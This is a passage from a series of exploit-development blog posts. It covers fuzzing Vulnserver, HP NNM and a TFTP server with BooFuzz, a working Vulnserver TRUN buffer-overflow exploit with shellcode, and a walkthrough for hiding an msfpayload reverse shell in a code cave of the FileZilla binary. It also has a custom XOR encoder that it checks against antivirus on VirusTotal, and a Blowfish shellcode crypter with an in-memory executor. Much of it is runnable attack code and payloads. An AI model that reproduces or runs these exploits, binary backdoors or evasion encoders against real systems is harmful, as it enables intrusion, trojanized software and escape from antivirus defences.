shellcode += "\xf6\x08\x89\xdd\x80\x14\xc4\xab\x6c\xa4\xb1\xed\x93"
shellcode += "\x09\x56\xfa\xec\x77\xc6\x05\x27\x3c\xf6\x4f\x65\x15"
shellcode += "\x9f\x09\xfc\x27\xc2\xa9\x2b\x6b\xfb\x29\xd9\x14\xf8"
shellcode += "\x32\xa8\x11\x44\xf5\x41\x68\xd5\x90\x65\xdf\xd6\xb0"


# Notes:
# TRUN A/.:A/   - 2 A's added   - Avoid Access Violation Issue
# 8BE1          - MOV ESP,ECX   - Fix EIP/ESP issue
# 00402D7B      - JMP EAX       - EIP overwrite

crash = "\x8B\xE1" + "\x90" * 48 + shellcode + "\x90" * 1600 + "\x7B\x2D\x40" 

buffer="TRUN A/.:A/"
buffer+= crash
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/TRUN/EXP-TRUN.py

Now our exploit it’s completed, we run it and we receive our shell 🙂

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Fuzzing – Finding bugs using BooFuzz (3/3)

For this last blog post of the Fuzzing series I chose to fuzz Vulnserver.

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

When you run the Vulnserver binaty it opens a service in the port 9999. And when you connect to it using netcat and you type HELP you are going to see the following menu:

Vulnserver uses a custom protocol, so first we need to understand what we need to send. We want to connect to the port 9999 and send the following string:

TRUN AAAA...A

Before starting the fuzzing, we should attach the process to our favorite debugger, to monitor the application behavior:

This is an example of a request and a server response

TRUN A
TRUN COMPLETE

So to fuzz this function it’s really easy:

def main():

    session = Session(
	sleep_time=1,
        target=Target(
            connection=SocketConnection("192.168.1.99", 9999, proto='tcp')
        ),
    )

    # Setup
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static("TRUN", name='command name')
        s_delim(" ")
        s_string("FUZZ",  name='trun variable content')
        s_delim("\r\n")

    # Fuzzing
    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()

But the interesting thing that we are going to use here, is to control when the application crashes. When it crashes we should stop fuzzing and see what request caused it. I read this originally from this post, so thank you mate 🙂

It consists in setup a callback. After each fuzzing request the script will call our callback function, and this function is going to check if the application crashed or not.

session.connect(s_get("Request"), callback=get_banner)

So we look for the Vulnserver banner service, if we can’t retrieve it, it means that the application has crashed:

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(10000)
    except:
        print("Unable to connect. Target is down. Exiting.")
        exit(1)

    my_logger.log_check('Receiving banner..')
    if banner_template in banner:
        my_logger.log_pass('banner received')
    else:
        my_logger.log_fail('No banner received')
        print("No banner received, exiting..")
        exit(1)

This is the full script:

#!/usr/bin/env python
# Author: Xavi Bel
# Date: 22/06/2019
# Purpose: 
#	Fuzzing Vulnserver
#	TRUN

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(10000)
    except:
        print("Unable to connect. Target is down. Exiting.")
        exit(1)

    my_logger.log_check('Receiving banner..')
    if banner_template in banner:
        my_logger.log_pass('banner received')
    else:
        my_logger.log_fail('No banner received')
        print("No banner received, exiting..")
        exit(1)


def main():

    session = Session(
	sleep_time=1,
        target=Target(
            connection=SocketConnection("192.168.1.99", 9999, proto='tcp')
        ),
    )

    # Setup
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static("TRUN", name='command name')
        s_delim(" ")
        s_string("FUZZ",  name='trun variable content')
        s_delim("\r\n")

    # Fuzzing
    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()


if __name__ == "__main__":
	main()

https://github.com/socket8088/Fuzzing/blob/master/BF-TRUN.py

We start fuzzing it, and after some requests, we see that our crash control method worked properly:

And we now that this is the request that crashed it:

With this control method, we have all the information that we need to start writing a python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 5000

buffer="TRUN /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

At this point we are ready to work on that script and develop and exploit that make us control the execution flow of the program.

And that’s all for the Fuzzing series. The following posts of the blog are going to be write-ups of Vulnserver. See you soon! 🙂

Posted in Exploiting | Tagged , , , , , , , | Leave a comment

Fuzzing – Finding bugs using BooFuzz (2/3)

As a continuation of these Fuzzing series, we are going to fuzz a second application. This time we are going to look for vulnerabilities in HP NNM application that uses HTTP protocol.

Specifically the ovas process is vulnerable to a Buffer Overflow vulnerability.

The request that we are going to fuzz is the following one:

GET /topology/index.html HTTP/1.1
Host: 192.168.1.99
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

Now that we now what we want to send, let’s start the service to prepare the environment. As always we attach the debugger to the application and we press the play button to accept Morpheus red pill.

So we want to maintain the main structure and fuzz the different variables. To do that I created the following Boofuzz template:

#!/usr/bin/env python
#!/usr/bin/env python
# Author: Xavi Bel
# Webpage: xavibel.com
# Date: 23/06/2019
# BooFuzz HTTP fuzzing template

from boofuzz import *
import time

def main():
    session = Session(
	sleep_time=10,
        target=Target(
            connection=SocketConnection("192.168.1.99", 7510, proto='tcp')
        ),
    )

    s_initialize(name="Request")
    #with s_block("Request-Line"):
    s_static("GET /topology/index.html HTTP/1.1\r\n")

    # Host
    s_static("Host", name='host-string')
    s_delim(":")
    s_delim(" ")
    s_string("192.168.1.99",  name='host-ip-address')
    s_delim("\r\n")

    # Other headers
    s_static("User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0\r\n")
    s_static("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n")
    s_static("Accept-Language: en-US,en;q=0.5\r\n")
    s_static("Accept-Encoding: gzip, deflate\r\n")
    s_static("Connection: keep-alive\r\n")

    s_static("\r\n", "Request-CRLF")

    session.connect(s_get("Request"))

    session.fuzz()


if __name__ == "__main__":
	main()

https://github.com/socket8088/Fuzzing/blob/master/BF-HTTP.py

If we want to fuzz the Host header, for example. We need to set as static what we don’t want to fuzz, and we set as string what we want to be fuzzed.

	s_static("Host", name='host-string')
	s_delim(":")
	s_delim(" ")
	s_string("192.168.1.99",  name='host-ip-address')
	s_delim("\r\n")

If the application crashes there, Boofuzz will say that it crashed while fuzzing “host-ip-address”. We should prepare the same for all the headers that we want to fuzz.

We run the fuzzer and the request number 52 crashes the application.

In that request we are sending different characters, now that we now in what variable is the BOF. Let’s exploit it using a python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 4000

buffer="GET /topology/homeBaseView HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"

print "[*] Sending evil HTTP request to NNMz, ph33r"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 7510))
expl.send(buffer)
expl.close()

We reproduce the same crash, and in the debugger we can see this:

We overwrited SEH:

And if we pass exception to program we see that we are overwriting EIP:

And that’s all for this topic, in the last post of the series we are going to fuzz Vulnserver and we are going to use a function to detect when the application crashes.

Posted in Exploiting | Tagged , , , , , , , | Leave a comment

Fuzzing – Finding bugs using BooFuzz (1/3)

Hello everyone, in this blog post I’m going to explain you a couple of basics concepts about fuzzing. Also I’m going to share with you some interesting resources, and finally I’m going to show how to create different Boofuzz templates to identify vulnerabilities in applications.

Fuzzing is the process of automatic testing achieved by sending different inputs to a program and verifying that it can handle them without crashing or having an unexpected behavior.

In the graph below you can see an example of the flow of a fuzzing process.

In the following post, you can find more information about fuzzing, specifically for a tool named AFL, but also a lot of interesting concepts:

http://9livesdata.com/fuzzing-how-to-find-bugs-automagically-using-afl/

Reading the following Defcon paper of Jacob West:

https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-west.pdf

He summarizes the fuzzing process in these steps:

  • Identify sources of input of a program
  • Permute or generate pseudorandom input
  • Use an oracle to monitor for failures
  • Record the input and state that generate faults

The last blog post that I recommend you is more focused in the Boofuzz tool:

Now that I shared with you some interesting information sources, let’s start using Boofuzz. I’m going to Fuzz 3 different applications that use different protocols.

  • TFTP application that uses FTP protocol
  • HP NNM application that uses HTTP protocol
  • Custom application named Vulnserver that uses a custom protocol

In this blog post I’m not going to cover the full process of exploit development. I’m just going to focus in the detection of the bug using BooFuzz.


Fuzzing TFP server

For this example I’m going to use a FTP server named TFTP Single Port version 1.4. This server version is vulnerable to a Buffer Overflow vulnerability.

We now, that the vulnerability is triggered when the FTP receives a Write request that is similar to this:

"\x00\x02AAAAAA....A\x00netascii\x00"

The 02 is the request to write, if we didn’t know this, we should just fuzz using different values until we identify that this is the vulnerable one, but for this example I prefer to go strict forward.

The first thing is to attach a debugger to the FTP application, then we press play to let the program run.

Now we need to prepare our Boofuzz python script.

First we need to import the necessary libraries:

from boofuzz import *
import time

And this is going to me the main structure of the script:

def main():

[BooFuzz script goes here]

if __name__ == "__main__":
        main()

Then we can prepare the fuzzing part of the code. The first thing is to declare the session and setup the connection:

session = Session(
                sleep_time=10,
                target=Target(
                       connection=SocketConnection("192.168.1.99",69,proto='udp')
                ),
        )

And after that, the fuzzing part:

        s_initialize("write")
        s_static("\x00\x02")
        s_string("filename")
        s_static("\x00")
        s_static("netascii")
        s_static("\x00")

As you can see above, there are two declarations:

  • static: Non fuzzeable
  • string: Fuzzable

And then we start the fuzzing:

        session.connect(s_get('write'))
        session.fuzz()

This is the final script:

#!/usr/bin/env python
# Autor: Xavi Bel
# Website: xavibel.com
# Date: 23/06/2019
# BooFuzz FTP fuzzing template
from boofuzz import *
import time

def main():
        session = Session(
                sleep_time=10,
                target=Target(
                        connection=SocketConnection("192.168.1.99",69,proto='udp')
                ),
        )


        s_initialize("write")
        s_static("\x00\x02")
        s_string("filename")
        s_static("\x00")
        s_static("netascii")
        s_static("\x00")

        session.connect(s_get('write'))
        session.fuzz()

if __name__ == "__main__":
        main()

https://github.com/socket8088/Fuzzing/blob/master/BF-FTP.py

Let’s run Boofuzz and let’s see what happens:

python BF-FTP.py

And we see that the request number 2 crashes the program:

So 5000 A’s caused the crash.

If we look again to our Windows VM, we can see the crash in the debugger:

If we look at the Exception Handler we see this:

And if we pass exception to program we see that we are overwritting EIP:

To replicate the crash using a python program, we should use a code similar to this:

#!/usr/bin/python
import socket
import sys
host = '192.168.1.99'
port = 69
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
	print "socket() failed"
	sys.exit(1)

filename = "A" * 5000
mode = "netascii"
muha = "\x00\x02" + filename+ "\0" + mode+ "\0"
s.sendto(muha, (host, port))

And that’s all for the first example of fuzzing with Boofuzz, in the next post I’m going to explain how to fuzz a web application, but for make it more interesting, we are not going to know the injection point.

Posted in Exploiting | Tagged , , , , , , , | Leave a comment

Encoded Backdoor inside a Windows Binary – AV Evasion

The purpose of this post is to show you how you can encode a common shellcode using a custom encoder and embed it inside a Windows file. The main reason to do that is to try to avoid AV detection.

I’m going to generate a backdoor for FileZilla FTP with msfpayload. I’m going to skip how to manipulate the Windows binary, also how to allocate space and find the appropriate Code Cave because I’ve already explained it before in the last blog post.

Following that post you have to be able to modify one section of FileZilla to generate the Code Cave, JMP to it and save the registers and flags status. So you should be at this point.

This time is going to be encoded with a personal encoder that I wrote a couple of months ago. You can find it here:

https://www.exploit-db.com/shellcodes/46800

I’m going to modify it a little bit and to compile it in Windows so I can learn new things.

So, we can start generating our msfpayload with this beautiful one line command:

root@kali:~# /usr/share/framework2/msfpayload win32_reverse LHOST=192.168.1.88 LPORT=443 EXITFUNC=none C | awk -F '"' '{print$2}' | sed ':a;N;$!ba;s/\n/ /g' | sed 's/\ //g'
\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68\xc0\xa8\x01\x58\x66\x68\x01\xbb\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0

That is our plain text shellcode. I’m going to encode it with my custom encoder. If you want to try it you can download it from here:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment4

For this example I’ve modified the XOR keys a little bit. Here is the final code:

#!/usr/bin/python
# Autor: Xavi Beltran
# Date: 02/06/2019

shellcode = ("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68\xc0\xa8\x01\x58\x66\x68\x01\xbb\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

i = 11
for x in bytearray(shellcode) :

	if  i == 16:
		i = 11
	y = x^i
	encoded += '\\x'
	encoded += '%02x' % y

	encoded2 += '0x'
	encoded2 += '%02x,' %y
	
	i = i + 0x01

print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

So right now we have our 287 bytes length payload encoded:

0xf7,0x66,0xe6,0x43,0xe7,0xf2,0xf3,0xf2,0xf1,0x6f,0x80,0x60,0x29,0x2a,0x84,0x4e,0x30,0x86,0x72,0x0a,0x73,0x0d,0xe2,0x85,0x40,0x13,0x87,0x52,0x2e,0x0e,0xe0,0x45,0x86,0x3a,0x84,0x0a,0xe2,0x3c,0xce,0x96,0xa7,0x88,0xcd,0x7a,0x08,0xca,0xc6,0x00,0x0f,0xcd,0xe0,0xf8,0x36,0x5a,0x2b,0x23,0x79,0xe8,0x85,0x50,0x2f,0x0d,0xe6,0x68,0x84,0x07,0x47,0x86,0x51,0x13,0x0a,0xe7,0x0e,0x22,0x84,0x82,0x60,0x29,0x12,0x6e,0xc8,0x3d,0xd6,0x6a,0x84,0x48,0x3c,0x86,0x4e,0x03,0x80,0x7c,0x11,0xa3,0x84,0x4b,0x04,0x53,0x66,0x81,0x45,0x02,0xe1,0x5e,0xf0,0xdd,0x6a,0x5e,0x68,0x67,0x38,0x3e,0x65,0x79,0x7c,0x39,0x53,0x59,0xf1,0xdf,0x63,0xc7,0xe0,0xf2,0x34,0x5b,0xf3,0xdb,0x51,0x86,0xee,0x6a,0x8c,0xe3,0x07,0x09,0x59,0x67,0x0c,0xf0,0xdb,0x64,0xd4,0x07,0xfa,0xa6,0x5b,0xf2,0xd8,0x5c,0x58,0x5f,0x5e,0x4d,0x5c,0x48,0x5f,0xf2,0xde,0x67,0xcb,0xa4,0x0c,0x56,0x69,0x63,0x0d,0xb6,0x68,0x5c,0x82,0xed,0x98,0x66,0xe3,0xf2,0xa6,0x6d,0x59,0xf0,0xdd,0x66,0x1d,0x5f,0x5a,0xf4,0xdc,0x6b,0x64,0x6b,0x6d,0x64,0x6e,0x63,0x65,0x5b,0x55,0x24,0xc2,0x86,0xec,0x66,0x49,0x87,0xed,0x3a,0xcc,0xfe,0xa4,0x9a,0x82,0xf1,0xf3,0x4c,0x22,0xf5,0x4e,0x21,0x83,0x75,0x33,0xa7,0xa6,0xa5,0x67,0x79,0xf2,0xbe,0x18,0xf0,0x7e,0x24,0xf2,0xd8,0x54,0x5c,0x5e,0x5c,0x5f,0x5e,0x61,0x0d,0x5c,0x5f,0x5a,0x5a,0xf3,0xdd,0x66,0xa2,0xd2,0x09,0xc3,0x5d,0xf0,0xdd,0x66,0xf2,0xf1,0x38,0xf4,0xdc,0x65,0xe9,0x76,0xcd,0x75,0xf2,0x7b,0x0b,0xf4,0xda,0xf2,0x79,0xf3,0xf4,0xdc,0x65,0xfe,0x85,0x0f,0x53,0x5e,0xf1,0xd9,0xf4,0xdc

For the following step we are going to need an Assembly compiler, I used Flat Assembler. You can download it here:

https://xavibel.com/tools/fasmw17312.zip

We use our Assembly decoder to compile the code and verify that everything works fine:

If you are curious about how my decoder works, you can find more information about it in this post:

The following step is to extract the opcodes of the binary that we generated with objdump. Notice that I’ve used sed command to remove the “\x” symbols so we can copy this inside Olly.

Now that everything it’s ready and we verified that it works, we can copy the shellcode inside the binary.

In the image below you can see that I have placed our shellcode right after the snapshot of the registers and the flags.

Now we need to restore the execution flow after the shellcode. The first thing that we need to recover is the ESP value. We can’t hard-code the ESP value because the ASLR protection is present. So we have to find a relation between the actual value of ESP and the value in the moment that we saved the registers.

This is the process that you need to follow to do that:

We place a breakpoint and after the PUSHFD instruction and save the value of ESP that is:

0022FF84

Then we place another breakpoint after of the last instruction of our shellcode and we save again the value of ESP:

0022FEE0

So we have to rest the second value to the first one:

22FF84 - 22FEE0 = A4

So the instruction that we need to do is:

ADD ESP, 0A4

We step into the next instruction and we verify that the ESP value it’s 22FF84 again. As you can see here we restored the ESP value correctly:

Now it’s moment to recover the flags and the registers.

POPFD
POPAD

Just after this, we need to put the instruction that we erased:

CALL 0x00401020

And after that a JMP to the instruction that is just below the instruction that we deleted:

JMP 0x00401123

We save the changes and we are ready to execute the file.

Our Multiple keys XOR decoder it’s working! 🙂

We check the AV detection rate in VirusTotal and we can see that we managed to bypass some AV’s. Not a bad result for this small decoder.

Posted in Exploiting | Tagged , , , , , , , , , , , | Leave a comment

Backdoor inside a Windows Binary

Hello everyone!  In this post I’m going to explain how to backdoor a Windows binary with a reverse shell, but feel free to use the shellcode that you prefer.

I’ve chosen FileZilla FTP server version 3.8.0 for this example. The purpose of this exercise is to embed inside the FileZilla exe or the dll’s a malicious payload that opens a reverse shell connection without breaking the normal execution of the FTP client.

To be able to modify the binary we are going to need some tools. One is LordPE, you can download it from here:

https://xavibel.com/tools/lordpe.zip

Our malicious code, is going to be saved inside a Code Cave that is going to be placed at the very end of the binary.

If you are interested in Code Caves and reversing take a look to this article:

https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves

We can try to find a Code Cave manually or with tools like Cave Miner:

https://github.com/Antonin-Deniau/cave_miner

For this example and to keep it simple, we are going to create one.

To do that we have to open the binary with LordPE

And click in edit the last section that is named: “.rsrc”. We are going to add 1000 bytes in VirtualSize and 1000 bytes in RawSize.

After we have to edit the flags, and mark this section as: “Executable as code”.

Now we need a hex editor named XVI32:

https://xavibel.com/tools/xvi32.zip

We open the file with the hex editor, and add 1000 bytes at the very end of the file.

Then the binary it’s prepared to start working. Let’s open it with our favorite debugger.

Our purpose is to locate the Code Cave that we have already created. One method to do that is to check the Memory in the debugger.

We placed our code cave in the section .rsrc that starts in memory address 00C3D000. That section had a virtual size of 1149c and after all this bytes is our code cave waiting for us.

Let’s do the math:

C3D000 + 1149C = C4E49C

So the memory address that we are looking for is:

0x00C4E49C

Let’s verify that it’s correct:

We can see that in that memory address is full of nulls, so we were right:

Now it’s the moment to locate where we can place the Jmp to our cave. The first thing that we can see it’s the CALL filezilla 0xaddress instruction. It seems that is the correct instruction to overwrite without breaking the code execution.

Let ‘s change the CALL 0x00401020 for a JMP 0x0x00C4E49C (The start of our Code Cave)

We verify that our JMP works fine:

Here we are going to do the following things: Execute a shell and return the execution to the normal flow of the program.

But if here we just put our shell, we are going to lose the actual state of the registers and the flags. Our shell will execute but FileZilla won’t. So before doing anything we have to save the registers and flag status

To do that we have to do two instructions:

pushad
pushfd

Now we need to generate our shellcode. I’m going to use an old msfpayload because the latest version of msfvenom right now has a bug in exitfunc and it’s not working fine.

root@kali:~/Documents/Tools/Shellcode# /usr/share/framework2/msfpayload win32_reverse LHOST=192.168.1.88 LPORT=443 EXITFUNC=none C | sed 's/\\x//g' | awk -F '"' '{print$2}' | sed ':a;N;$!ba;s/\n/ /g' | sed 's/\ //g'
fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd65353535343534353ffd068c0a80158666801bb665389e19568ecf9aa6057ffd66a105155ffd0666a646668636d6a505929cc89e76a4489e231c0f3aa9589fdfe422dfe422c8d7a38ababab6872feb316ff7528ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd068e779c679ff7504ffd6ff77fcffd068f08a045f53ffd6ffd0

We have placed our shellcode right after the copy that we did of the registers and the flags.

But before saving the changes, we are going to made a small change in the code, and modify the following PUSH -1:

This is a variable of a WaitSingleObject kernel function, that causes a problem in this particular case, we have to change it for a PUSH 0 or the FTP it’s not going to start until we close the shell.

Our shell is in the correct place, after it, we have to restore the execution flow. The first thing that we need to recover is the ESP value. We can’t hardcode it because of the ASLR memory protection, so we have to find the relation between the last value of ESP.

We put a breakpoint just after the PUSHFD instruction and save the value of ESP:

0022FF84

Then we put a second breakpoint after of the last instruction of our shellcode and we save again the value of ESP:

0022FEE4

So we have to rest the second value to the first one:

22FF84 - 22FEE0 = A0

So the instruction that we need to do is:

ADD ESP, 0A0

We verify that we recover the value that we want of ESP, you can see it in the image below:

Now it’s moment to recover the flags, and after the registers. We execute:

popfd
popad

Just after this, we need to put the instruction that we erased:

CALL 0x00401020

And after that a JMP to the instruction that is just below the instruction that we deleted:

JMP 0x00401123

We save the changes, and we execute the FileZilla, the program opens normally and we get our shell 🙂

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 – Custom Crypter – Assignment 7

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

Before start this assignment, I have to say that this certification supposed some months of hard work but it’s completely worth it. I recommend it to everyone that wants to learn interesting stuff 🙂

Let’s focus in this last assignment, I have to create a custom crypter as the described in the course video.

First of all I needed to choose an algorithm, I never used Blowfish, so I decided to read about it. Blowfish is a symmetric-key block cipher, designed in 1993 by Bruce Schneier.

https://en.wikipedia.org/wiki/Blowfish_(cipher)

Doing a quick research I found this useful module in python language that had everything that I needed.

https://pypi.org/project/blowfish/

So it seems a good idea to select this cypher and also write the tools in python because they can be compiled as an elf if needed.

At this point I had to write 2 files:

  • A crypter: With a cypher key and an IV it has to encrypt the original shellcode.
  • A decrypter: It has to decrypt the shellcode using the cypher key and the IV and has to save it in memory and execute it.

Let’s start for the crypter. To be able to encrypt the original shellcode we need to have blocks of 8 bytes. The first thing that I do, is calculate the length of the shellcode and divide it by 8 and see if it needs some padding. If it needs it, I add the necessary nops 0x90 at the end of the string.

# Padding
rem = scd_len / 8
if rem == 0:
	print ('[+] Shellcode is multiple of 8. No padding needed')
else:
	print ('[+] Shellcode is not multiple of 8. Paddind needed')
	block_number = round(scd_len / 8) +1 
	print ('[+] Number of blocks needed: %d' % block_number)
	padding = 8 * block_number - scd_len
	print ('[+] Padding needed: %d' % padding)
	scd = scd + b'\x90'*padding

Now, that our string its a multiple of 8 we can start encrypting it, we have to setup de cypher key and the IV values:

cipher = blowfish.Cipher(b"xavi")
iv = b'88888888'

And finally do the encryption:

data_encrypted = b"".join(cipher.encrypt_cbc(data, iv))
print ('[+] Blowfish encryption finished:')
print (data_encrypted)

This is the final crypter code:

# Author: Xavi Beltran 
# Date: 13/05/2019

# Modules
import blowfish

# Shellcode
scd = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'
scd_len = len(scd)
print ('[+] Shellcode length is %d' % scd_len)

# Padding
rem = scd_len / 8
if rem == 0:
	print ('[+] Shellcode is multiple of 8. No padding needed')
else:
	print ('[+] Shellcode is not multiple of 8. Paddind needed')
	block_number = round(scd_len / 8) +1 
	print ('[+] Number of blocks needed: %d' % block_number)
	padding = 8 * block_number - scd_len
	print ('[+] Padding needed: %d' % padding)
	scd = scd + b'\x90'*padding


cipher = blowfish.Cipher(b"xavi")
data = scd
iv = b'88888888'
data_encrypted = b"".join(cipher.encrypt_cbc(data, iv))
print ('[+] Blowfish encryption finished:')
print (data_encrypted)

In the image below you can see the original shellcode encrypted.

Our crypter it’s already working. Now I need to code the decrypter, the first step is to decrypt the string and to recover our original shellcode. To do that, we are going to use the same python library.

# Shellcode encrypted
enc_scd = b'\x1fp\x8bq\x0e\xc2\x11|p\x83\x05\x9d\xf4\xc4Y\xf5\x16s\xf5:|+\xc5)\tqV\x84\xbe\xe8X\xc5'

# Decrypt process
cipher = blowfish.Cipher(b"xavi")
data_encrypted = enc_scd
iv = b'88888888'
data_decrypted = b"".join(cipher.decrypt_cbc(data_encrypted, iv))
print ('[+] Blowfish decryption finished:')
print (data_decrypted)

We already recovered our original shellcode but know what we have to do? When I was doing this part of the code I thought that it was a going to be really difficult, but in fact its not so complex.

We are going to use python Memory-mapped. We create a piece of executable memory in python and write our shell-code into this memory.

mm = mmap.mmap(-1, len(data_decrypted), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
mm.write(data_decrypted)

And we obtain the address of the memory and create a C Function Pointer using ctypes and this address.

restype = ctypes.c_int64
argtypes = tuple()
ctypes_buffer = ctypes.c_int.from_buffer(mm)
function = ctypes.CFUNCTYPE(restype, *argtypes)(ctypes.addressof(ctypes_buffer))
function()

The final code for the decrypter is the following one:

# Author: Xavi Beltran
# Date: 13/05/2019

# Modules
import blowfish
import mmap
import ctypes

# Shellcode encrypted
enc_scd = b'\x1fp\x8bq\x0e\xc2\x11|p\x83\x05\x9d\xf4\xc4Y\xf5\x16s\xf5:|+\xc5)\tqV\x84\xbe\xe8X\xc5'

# Decrypt process
cipher = blowfish.Cipher(b"xavi")
data_encrypted = enc_scd
iv = b'88888888'
data_decrypted = b"".join(cipher.decrypt_cbc(data_encrypted, iv))
print ('[+] Blowfish decryption finished:')
print (data_decrypted)

# Shellcode Execution
# We create a piece of executable memory in python and write our shell-code into this memory
